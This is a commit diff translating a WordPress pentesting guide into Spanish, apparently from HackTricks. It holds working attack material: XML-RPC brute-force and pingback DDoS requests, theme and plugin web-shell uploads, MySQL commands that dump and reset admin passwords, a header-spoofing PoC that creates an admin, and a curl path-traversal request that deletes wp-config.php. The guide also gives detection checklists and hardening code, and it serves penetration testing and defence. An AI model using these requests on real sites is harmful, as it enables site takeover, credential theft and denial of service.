Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres

This commit is contained in:
Translator 2025-10-04 09:34:32 +00:00
parent 0d36f271d0
commit bd24da901e
2 changed files with 376 additions and 230 deletions

View File

@ -5,48 +5,48 @@
## Información básica
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Los archivos de temas se pueden encontrar en /wp-content/themes/,** así que si modificas algún php del theme para obtener RCE probablemente usarás esa ruta. Por ejemplo: Usando **theme twentytwelve** puedes **acceder** al archivo **404.php** en: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Otra URL útil podría ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- En **wp-config.php** puedes encontrar la contraseña root de la base de datos.
- Rutas de login por defecto a comprobar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- In **wp-config.php** you can find the root password of the database.
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Principales archivos de WordPress**
### **Main WordPress Files**
- `index.php`
- `license.txt` contiene información útil como la versión de WordPress instalada.
- `wp-activate.php` se usa para el proceso de activación por email al configurar un nuevo sitio WordPress.
- Carpetas de login (pueden ser renombradas para ocultarlas):
- `license.txt` contains useful information such as the version WordPress installed.
- `wp-activate.php` is used for the email activation process when setting up a new WordPress site.
- Login folders (may be renamed to hide it):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` es un archivo que representa una característica de WordPress que permite que los datos se transmitan usando HTTP como mecanismo de transporte y XML como mecanismo de codificación. Este tipo de comunicación ha sido reemplazado por la [REST API](https://developer.wordpress.org/rest-api/reference) de WordPress.
- La carpeta `wp-content` es el directorio principal donde se almacenan plugins y temas.
- `wp-content/uploads/` es el directorio donde se almacenan los archivos subidos a la plataforma.
- `wp-includes/` es el directorio donde se almacenan los archivos core, como certificados, fuentes, archivos JavaScript y widgets.
- `wp-sitemap.xml` en versiones de WordPress 5.5 o superiores, WordPress genera un archivo sitemap XML con todas las entradas públicas y los tipos de post y taxonomías públicamente consultables.
- `xmlrpc.php` is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- The `wp-content` folder is the main directory where plugins and themes are stored.
- `wp-content/uploads/` Is the directory where any files uploaded to the platform are stored.
- `wp-includes/` This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.
- `wp-sitemap.xml` In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies.
**Post exploitation**
- El archivo `wp-config.php` contiene la información que WordPress necesita para conectarse a la base de datos, como el nombre de la base de datos, host de la base de datos, usuario y contraseña, claves de autenticación y salts, y el prefijo de las tablas de la base de datos. Este archivo de configuración también puede usarse para activar el modo DEBUG, lo cual puede ser útil para troubleshooting.
- The `wp-config.php` file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.
### Permisos de usuarios
- **Administrador**
- **Editor**: Publica y gestiona sus propios posts y los de otros
- **Autor**: Publica y gestiona sus propios posts
- **Colaborador**: Escribe y gestiona sus posts pero no puede publicarlos
- **Suscriptor**: Navega posts y edita su perfil
- **Administrator**
- **Editor**: Publica y gestiona sus propias entradas y las de otros
- **Author**: Publica y gestiona sus propias entradas
- **Contributor**: Escribe y gestiona sus entradas pero no puede publicarlas
- **Subscriber**: Visualiza posts y edita su perfil
## **Enumeración pasiva**
### **Obtener la versión de WordPress**
### **Obtener versión de WordPress**
Comprueba si puedes encontrar los archivos `/license.txt` o `/readme.html`
Check if you can find the files `/license.txt` or `/readme.html`
Dentro del **código fuente** de la página (ejemplo de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Plugins y Temas
Probablemente no podrás encontrar todos los plugins y temas posibles. Para descubrirlos todos, necesitarás **Brute Force activamente una lista de plugins y temas** (esperemos que existan herramientas automatizadas que contengan estas listas).
Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrirlos todos, necesitarás **Brute Force activamente una lista de Plugins y Temas** (esperemos que existan herramientas automatizadas que contengan estas listas).
### Usuarios
@ -95,21 +95,21 @@ Si las respuestas son **200** o **30X**, eso significa que el id es **válido**.
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
Otro endpoint `/wp-json/` que puede revelar alguna información sobre usuarios es:
Otro endpoint `/wp-json/` que puede revelar información sobre usuarios es:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Note that this endpoint only exposes users that have made a post. **Solo se proporcionará información sobre los usuarios que tienen esta función habilitada**.
Ten en cuenta que este endpoint solo expone usuarios que han hecho una publicación. **Solo se proporcionará información sobre los usuarios que tengan esta característica habilitada**.
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
También ten en cuenta que **/wp-json/wp/v2/pages** podría leak direcciones IP.
- **Login username enumeration**: Al iniciar sesión en **`/wp-login.php`** el **mensaje** es **diferente** dependiendo de si el **nombre de usuario** existe o no.
- **Login username enumeration**: Al iniciar sesión en **`/wp-login.php`** el **mensaje** es **diferente** según si el usuario indicado **existe o no**.
### XML-RPC
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Puedes automatizar este proceso [using this](https://github.com/relarizky/wpxploit) por ejemplo).
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
Para ver si está activo intenta acceder a _**/xmlrpc.php**_ y envía esta solicitud:
**Comprobar**
```html
@ -122,7 +122,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
**Bruteforce de credenciales**
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** son algunos de los métodos que se pueden usar para realizar brute-force de credenciales. Si puedes encontrar alguno de ellos, puedes enviar algo como:
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** son algunos de los métodos que pueden usarse para brute-force credenciales. Si puedes encontrar alguno de ellos puedes enviar algo como:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
</params>
</methodCall>
```
El mensaje _"Incorrect username or password"_ dentro de una respuesta con código 200 debería aparecer si las credenciales no son válidas.
El mensaje _"Incorrect username or password"_ dentro de una respuesta con código 200 debe aparecer si las credenciales no son válidas.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
Usando las credenciales correctas puedes subir un archivo. En la respuesta aparecerá la ruta ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
Con las credenciales correctas puedes subir un archivo. En la respuesta aparecerá la ruta ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -168,18 +168,18 @@ Usando las credenciales correctas puedes subir un archivo. En la respuesta apare
</params>
</methodCall>
```
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
También existe una **manera más rápida** de brute-force credenciales usando **`system.multicall`** ya que puedes probar varias credenciales en la misma petición:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Bypass 2FA**
Este método está pensado para programas y no para humanos, y es antiguo; por lo tanto no soporta 2FA. Así que, si tienes creds válidas pero la entrada principal está protegida por 2FA, **puedes abusar de xmlrpc.php para hacer login con esas creds saltándote la 2FA**. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la consola, pero aún así podrías llegar a RCE como Ippsec lo explica en [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Este método está pensado para programas y no para humanos, y es antiguo, por lo tanto no soporta 2FA. Así que, si tienes creds válidas pero la entrada principal está protegida por 2FA, **podrías abusar de xmlrpc.php para iniciar sesión con esas creds saltándote 2FA**. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer desde la consola, pero aún podrías llegar a RCE como lo explica Ippsec en [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS or port scanning**
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
Si puedes encontrar el método _**pingback.ping**_ dentro de la lista puedes hacer que Wordpress envíe una petición arbitraria a cualquier host/puerto.\
Esto puede usarse para pedir a **miles** de **Wordpress** **sitios** que **accedan** a una **ubicación** (provocando así un **DDoS** en esa ubicación) o puedes usarlo para hacer que **Wordpress** escanee alguna **red** interna (puedes indicar cualquier puerto).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -193,7 +193,7 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one *
Si obtienes **faultCode** con un valor **mayor** que **0** (17), significa que el puerto está abierto.
Echa un vistazo al uso de **`system.multicall`** en la sección anterior para aprender cómo abusar de este método y provocar DDoS.
Consulta el uso de **`system.multicall`** en la sección anterior para aprender cómo abusar de este método y provocar DDoS.
**DDoS**
```html
@ -209,15 +209,15 @@ Echa un vistazo al uso de **`system.multicall`** en la sección anterior para ap
### wp-cron.php DoS
Este archivo normalmente existe en la raíz del sitio de Wordpress: **`/wp-cron.php`**\
Cuando se **accede** a este archivo se ejecuta una "**pesada**" **consulta** MySQL, por lo que podría ser usada por **atacantes** para **causar** un **DoS**.\
Además, por defecto, el `wp-cron.php` se invoca en cada carga de página (cada vez que un cliente solicita cualquier página de Wordpress), lo que en sitios de alto tráfico puede causar problemas (DoS).
Este archivo suele existir en la raíz del sitio Wordpress: **`/wp-cron.php`**\
Cuando se **accede** a este archivo se ejecuta una consulta MySQL **pesada**, por lo que podría ser utilizada por **attackers** para **causar** un **DoS**.\
Además, por defecto, `wp-cron.php` se llama en cada carga de página (cada vez que un client solicita cualquier página de Wordpress), lo que en sitios con alto tráfico puede causar problemas (DoS).
Se recomienda desactivar Wp-Cron y crear un cronjob real en el host que ejecute las acciones necesarias a intervalos regulares (sin causar problemas).
Se recomienda deshabilitar Wp-Cron y crear un cronjob real en el host que ejecute las acciones necesarias a intervalos regulares (sin causar problemas).
### /wp-json/oembed/1.0/proxy - SSRF
Prueba a acceder a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ y el sitio Worpress puede realizar una solicitud hacia ti.
Prueba a acceder a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ y el sitio Worpress puede realizar una petición hacia ti.
This is the response when it doesn't work:
@ -230,7 +230,7 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Esta herramienta comprueba si existe **methodName: pingback.ping** y la ruta **/wp-json/oembed/1.0/proxy**, y si existen, intenta explotarlas.
Esta herramienta comprueba si existe **methodName: pingback.ping** y la ruta **/wp-json/oembed/1.0/proxy**; si existen, intenta explotarlos.
## Herramientas automáticas
```bash
@ -240,22 +240,22 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Obtener acceso sobrescribiendo un bit
Más que un ataque real, esto es una curiosidad. En el CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) podías voltear 1 bit de cualquier archivo de wordpress. Así que podías voltear la posición `5389` del archivo `/var/www/html/wp-includes/user.php` para convertir en NOP la operación NOT (`!`).
Más que un ataque real, esto es una curiosidad. En el CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) podías invertir 1 bit de cualquier archivo de wordpress. Así, podías invertir la posición `5389` del archivo `/var/www/html/wp-includes/user.php` para convertir en NOP la operación NOT (`!`).
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Modificar un php del tema usado (se necesitan credenciales de admin)**
**Modificando un php del theme usado (se necesitan credenciales admin)**
Apariencia → Editor de temas → Plantilla 404 (a la derecha)
Appearance → Theme Editor → 404 Template (a la derecha)
Cambia el contenido por un shell php:
Cambia el contenido por un php shell:
![](<../../images/image (384).png>)
Busca en internet cómo puedes acceder a esa página actualizada. En este caso tienes que acceder aquí: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Busca en Internet cómo puedes acceder a esa página actualizada. En este caso tienes que acceder aquí: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -265,60 +265,60 @@ use exploit/unix/webapp/wp_admin_shell_upload
```
para obtener una sesión.
## RCE en plugins
## Plugin RCE
### Plugin PHP
### PHP plugin
Puede ser posible subir archivos .php como un plugin.\
Crea tu backdoor php usando por ejemplo:
It may be possible to upload .php files as a plugin.\
Create your php backdoor using for example:
![](<../../images/image (183).png>)
Luego añade un nuevo plugin:
Then add a new plugin:
![](<../../images/image (722).png>)
Sube el plugin y presiona Install Now:
Upload plugin and press Install Now:
![](<../../images/image (249).png>)
Haz clic en Procced:
Click on Procced:
![](<../../images/image (70).png>)
Probablemente aparentemente esto no hará nada, pero si vas a Media, verás tu shell subido:
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
![](<../../images/image (462).png>)
Accede a él y verás la URL para ejecutar el reverse shell:
Access it and you will see the URL to execute the reverse shell:
![](<../../images/image (1006).png>)
### Subir y activar un plugin malicioso
### Uploading and activating malicious plugin
Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y que puede explotarse para obtener un web shell. Este proceso se realiza a través del dashboard de WordPress de la siguiente manera:
Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y que puede explotarse para obtener un web shell. Este proceso se lleva a cabo a través del dashboard de WordPress de la siguiente manera:
1. **Adquisición del plugin**: El plugin se obtiene de una fuente como Exploit DB, por ejemplo [**here**](https://www.exploit-db.com/exploits/36374).
1. **Adquisición del plugin**: El plugin se obtiene de una fuente como Exploit DB como [**here**](https://www.exploit-db.com/exploits/36374).
2. **Instalación del plugin**:
- Navega al dashboard de WordPress, luego ve a `Dashboard > Plugins > Upload Plugin`.
- Sube el archivo zip del plugin descargado.
3. **Activación del plugin**: Una vez que el plugin se instala correctamente, debe activarse desde el dashboard.
4. **Explotación**:
- Con el plugin "reflex-gallery" instalado y activado, puede explotarse ya que es conocido por ser vulnerable.
- El framework Metasploit proporciona un exploit para esta vulnerabilidad. Cargando el módulo correspondiente y ejecutando comandos específicos, puede establecerse una meterpreter session, otorgando acceso no autorizado al sitio.
- El framework Metasploit proporciona un exploit para esta vulnerabilidad. Cargando el módulo apropiado y ejecutando comandos específicos, puede establecerse una sesión meterpreter, otorgando acceso no autorizado al sitio.
- Se señala que este es solo uno de los muchos métodos para explotar un sitio WordPress.
El contenido incluye ayudas visuales que muestran los pasos en el dashboard de WordPress para instalar y activar el plugin. Sin embargo, es importante señalar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la autorización adecuada. Esta información debe usarse de forma responsable y solo en un contexto legal, como pentesting con permiso explícito.
El contenido incluye ayudas visuales que muestran los pasos en el dashboard de WordPress para instalar y activar el plugin. Sin embargo, es importante señalar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe usarse de forma responsable y solo en un contexto legal, como pruebas de penetración con permiso explícito.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## De XSS a RCE
## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ es un script diseñado para escalar una vulnerabilidad de **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** u otras vulnerabilidades críticas en WordPress. Para más información revisa [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Proporciona **soporte para WordPress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ es un script diseñado para escalar una vulnerabilidad de **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** u otras vulnerabilidades críticas en WordPress. Para más info revisa [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Proporciona **soporte para Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ Crea un usuario en WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Sube tu plugin personalizado (backdoor) a WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Edita un Built-In Plugins en WordPress.
- _**(RCE) Built-In Theme Edit:**_ Edita un Built-In Themes en WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Edita un Built-In Plugin en WordPress.
- _**(RCE) Built-In Theme Edit:**_ Edita un Built-In Theme en WordPress.
- _**(Custom) Custom Exploits:**_ Exploits personalizados para plugins/temas de terceros de WordPress.
## Post Exploitation
@ -327,19 +327,19 @@ Extraer nombres de usuario y contraseñas:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Cambiar admin password:
Cambiar la contraseña del admin:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Plugins Pentest
### Superficie de ataque
### Attack Surface
Saber cómo un Wordpress plugin puede exponer funcionalidad es clave para encontrar vulnerabilidades en dicha funcionalidad. Puedes ver cómo un plugin podría exponer funcionalidad en los siguientes puntos y algunos ejemplos de plugins vulnerables en [**esta entrada del blog**](https://nowotarski.info/wordpress-nonce-authorization/).
Saber cómo un plugin de Wordpress puede exponer funcionalidades es clave para encontrar vulnerabilidades en su funcionamiento. Puedes ver cómo un plugin podría exponer funcionalidad en los siguientes puntos y algunos ejemplos de plugins vulnerables en [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Una de las formas en que un plugin puede exponer funciones a los usuarios es a través de manejadores AJAX. Estos pueden contener errores de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones basen tanto la autenticación como la autorización en la existencia de un wordpress nonce que **cualquier usuario autenticado en la instancia de Wordpress podría tener** (independientemente de su rol).
Una de las maneras en que un plugin puede exponer funciones a usuarios es a través de manejadores AJAX. Estos pueden contener fallos de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones basen tanto la autenticación como la autorización en la existencia de un wordpress nonce que **cualquier usuario autenticado en la instancia de Wordpress podría tener** (independientemente de su rol).
Estas son las funciones que pueden usarse para exponer una función en un plugin:
```php
@ -349,11 +349,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
**El uso de `nopriv` hace que el endpoint sea accesible por cualquier usuario (incluso usuarios no autenticados).**
> [!CAUTION]
> Además, si la función solo verifica la autorización del usuario con la función `wp_verify_nonce`, esa función únicamente comprueba que el usuario está autenticado; normalmente no comprueba el rol del usuario. Por tanto, usuarios con pocos privilegios podrían tener acceso a acciones de alto privilegio.
> Además, si la función solo está comprobando la autorización del usuario con la función `wp_verify_nonce`, esta función solo verifica que el usuario ha iniciado sesión; normalmente no comprueba el rol del usuario. Por lo tanto, usuarios de bajo privilegio podrían tener acceso a acciones de alto privilegio.
- **REST API**
También es posible exponer funciones de wordpress registrando una REST API usando la función `register_rest_route`:
También es posible exponer funciones en wordpress registrando una REST API usando la función `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
)
);
```
El `permission_callback` es un callback a una función que comprueba si un usuario dado está autorizado a llamar al método de la API.
El `permission_callback` es una función callback que comprueba si un usuario dado está autorizado para invocar el método de la API.
**Si se usa la función integrada `__return_true`, simplemente omitirá la comprobación de permisos del usuario.**
- **Acceso directo al archivo php**
- **Acceso directo al archivo PHP**
Por supuesto, Wordpress usa PHP y los archivos dentro de los plugins son accesibles directamente desde la web. Así que, si un plugin expone alguna funcionalidad vulnerable que se dispara simplemente accediendo al archivo, será explotable por cualquier usuario.
Por supuesto, Wordpress usa PHP y los archivos dentro de los plugins son directamente accesibles desde la web. Por lo tanto, si un plugin expone alguna funcionalidad vulnerable que se activa simplemente accediendo al archivo, será explotable por cualquier usuario.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Algunos plugins implementan atajos de "trusted header" para integraciones internas o reverse proxies y luego usan ese header para establecer el contexto del usuario actual en las peticiones REST. Si el header no está vinculado criptográficamente a la solicitud por un componente upstream, un atacante puede falsificarlo y acceder a rutas REST privilegiadas como administrador.
Algunos plugins implementan atajos de “trusted header” para integraciones internas o reverse proxies y luego usan ese header para establecer el contexto de usuario actual en las peticiones REST. Si el header no está ligado criptográficamente a la petición por un componente upstream, un atacante puede spoofearlo y acceder a rutas REST privilegiadas como administrador.
- Impacto: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
- Ejemplo de header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account).
- Ruta explotada: `POST /wp-json/wp/v2/users` con un array de rol elevado.
- Impacto: unauthenticated privilege escalation a admin al crear un nuevo administrador vía la core users REST route.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (fuerza el user ID 1, típicamente la primera cuenta de administrador).
- Exploited route: `POST /wp-json/wp/v2/users` con un elevated role array.
PoC
```http
@ -393,38 +393,29 @@ Content-Length: 114
```
Por qué funciona
- El plugin asigna un header controlado por el cliente al estado de autenticación y omite las comprobaciones de capacidades.
- WordPress core espera la capacidad `create_users` para esta ruta; el hack del plugin la elude estableciendo directamente el contexto del usuario actual desde el header.
- El plugin mapea un header controlado por el cliente al estado de autenticación y omite las comprobaciones de capacidades.
- WordPress core espera la capacidad `create_users` para esta ruta; el hack del plugin la evita estableciendo directamente el contexto del usuario actual desde el header.
Indicadores de éxito esperados
- HTTP 201 con un body JSON que describe el usuario creado.
- HTTP 201 con un cuerpo JSON describiendo el usuario creado.
- Un nuevo usuario admin visible en `wp-admin/users.php`.
Lista de comprobación de detección
Lista de verificación de detección
- Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, o vendor SDKs que leen headers personalizados para establecer el contexto del usuario (p. ej., `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Revisar REST registrations en busca de callbacks privilegiados que carezcan de comprobaciones `permission_callback` robustas y en su lugar dependan de headers de la petición.
- Buscar usos de funciones core de gestión de usuarios (`wp_insert_user`, `wp_create_user`) dentro de handlers REST que estén protegidos únicamente por valores de headers.
- Grep por `getallheaders()`, `$_SERVER['HTTP_...']`, o vendor SDKs que leen headers personalizados para establecer el contexto de usuario (p. ej., `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Revisar las registraciones de REST en busca de callbacks privilegiados que carecen de comprobaciones robustas de `permission_callback` y en su lugar dependen de headers de la petición.
- Buscar usos de funciones core de gestión de usuarios (`wp_insert_user`, `wp_create_user`) dentro de handlers REST que están condicionados únicamente por valores de headers.
Mitigaciones
### Eliminación arbitraria de archivos sin autenticar vía wp_ajax_nopriv (Litho Theme <= 3.0)
- Nunca derives autenticación o autorización de headers controlados por el cliente.
- Si un reverse proxy debe inyectar identidad, termina la confianza en el proxy y elimina las copias entrantes (p. ej., `unset X-Wcpay-Platform-Checkout-User` en el borde), luego pasa un token firmado y verifícalo en el servidor.
- Para rutas REST que realizan acciones privilegiadas, requiere comprobaciones `current_user_can()` y un `permission_callback` estricto (NO uses `__return_true`).
- Prefiere auth de primera parte (cookies, application passwords, OAuth) sobre la “impersonation” vía headers.
Los temas y plugins de WordPress frecuentemente exponen handlers AJAX a través de los hooks `wp_ajax_` y `wp_ajax_nopriv_`. Cuando se usa la variante **_nopriv_** **el callback se vuelve accesible por visitantes no autenticados**, por lo que cualquier acción sensible debe además implementar:
References: see the links at the end of this page for a public case and broader analysis.
1. Una **comprobación de capacidades** (p. ej. `current_user_can()` o al menos `is_user_logged_in()`), y
2. Un **nonce CSRF** validado con `check_ajax_referer()` / `wp_verify_nonce()`, y
3. **Saneamiento / validación estricta de entradas**.
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
3. **Strict input sanitisation / validation**.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
El theme multipropósito Litho (< 3.1) olvidó esos 3 controles en la funcionalidad *Remove Font Family* y terminó incluyendo el siguiente código (simplificado):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -446,57 +437,34 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
Problemas introducidos por este fragmento:
* **Acceso no autenticado** se registra el hook `wp_ajax_nopriv_`.
* **Sin verificación de nonce / capability** cualquier visitante puede acceder al endpoint.
* **Sin sanitización de rutas** la cadena controlada por el usuario `fontfamily` se concatena a una ruta del sistema de archivos sin filtrado, permitiendo el clásico `../../` traversal.
* **Sin comprobación de nonce / capability** cualquier visitante puede acceder al endpoint.
* **Sin sanitización de ruta** la cadena controlada por el usuario `fontfamily` se concatena a una ruta de sistema de archivos sin filtrado, permitiendo el clásico `../../` traversal.
#### Explotación
Un atacante puede eliminar cualquier archivo o directorio **por debajo del directorio base uploads** (normalmente `<wp-root>/wp-content/uploads/`) enviando una única solicitud HTTP POST:
Un atacante puede eliminar cualquier archivo o directorio **debajo del directorio base de uploads** (normalmente `<wp-root>/wp-content/uploads/`) enviando una única solicitud HTTP POST:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Porque `wp-config.php` se encuentra fuera de *uploads*, cuatro secuencias `../` son suficientes en una instalación por defecto. Eliminar `wp-config.php` obliga a WordPress a entrar en el *asistente de instalación* en la siguiente visita, permitiendo la toma total del sitio (el atacante simplemente proporciona una nueva configuración de DB y crea un usuario admin).
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *asistente de instalación* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Otros objetivos impactantes incluyen archivos `.php` de plugin/theme (para romper security plugins) o reglas de `.htaccess`.
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
#### Detection checklist
#### Lista de verificación de detección
* Cualquier callback `add_action( 'wp_ajax_nopriv_...')` que llame a helpers del sistema de archivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
* Concatenación de entrada de usuario no saneada en rutas (buscar `$_POST`, `$_GET`, `$_REQUEST`).
* Ausencia de `check_ajax_referer()` y `current_user_can()`/`is_user_logged_in()`.
#### Endurecimiento
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Siempre** trate cualquier operación de escritura/eliminación en disco como privilegiada y verifique doblemente:
> • Autenticación • Autorización • Nonce • Saneamiento de entradas • Contención de rutas (p. ej. vía `realpath()` más `str_starts_with()`).
